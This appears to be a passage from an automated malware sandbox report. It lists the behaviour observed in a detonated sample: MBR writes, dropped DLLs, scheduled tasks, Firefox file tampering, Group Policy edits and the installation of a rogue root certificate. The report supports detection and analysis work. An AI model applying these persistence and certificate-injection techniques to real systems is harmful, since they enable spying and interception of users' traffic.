N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
File opened for modification \??\PhysicalDrive0 C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\nFLFFjqrQPUn\OIamqWh.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\1717118862_0\360TS_Setup.exe C:\Users\Admin\Pictures\360TS_Setup.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\i18n\i18n.ini C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\krdeMCnRKomDOvwVunR\JEdiLHS.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\krdeMCnRKomDOvwVunR\vyPXefz.xml C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Program Files (x86)\1717118862_0\360TS_Setup.exe C:\Users\Admin\Pictures\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\config.ini C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\config.ini C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\JipyTrDkU\NucnjhC.xml C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\tegRANPZONsU2\ZuoCfDy.xml C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\YLgKyOFzWxOqC\wnpZmSb.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\360\Total Security\writeable_test_240733640.dat C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\i18n.ini C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\JipyTrDkU\fNDfeM.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\tegRANPZONsU2\JfzNLDVfmeMMr.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Program Files (x86)\YLgKyOFzWxOqC\ugJmwaB.xml C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplont.job C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
File created C:\Windows\Tasks\bqGGCwwWIommTRgeuN.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\WKALCIrwIEiqhKBsn.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\jiLwFdOzPPQiWLm.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\QdCYtDviHOrgqJLgZ.job C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c3f30f44-0000-0000-0000-d01200000000}\MaxCapacity = "14116" C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c3f30f44-0000-0000-0000-d01200000000} C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
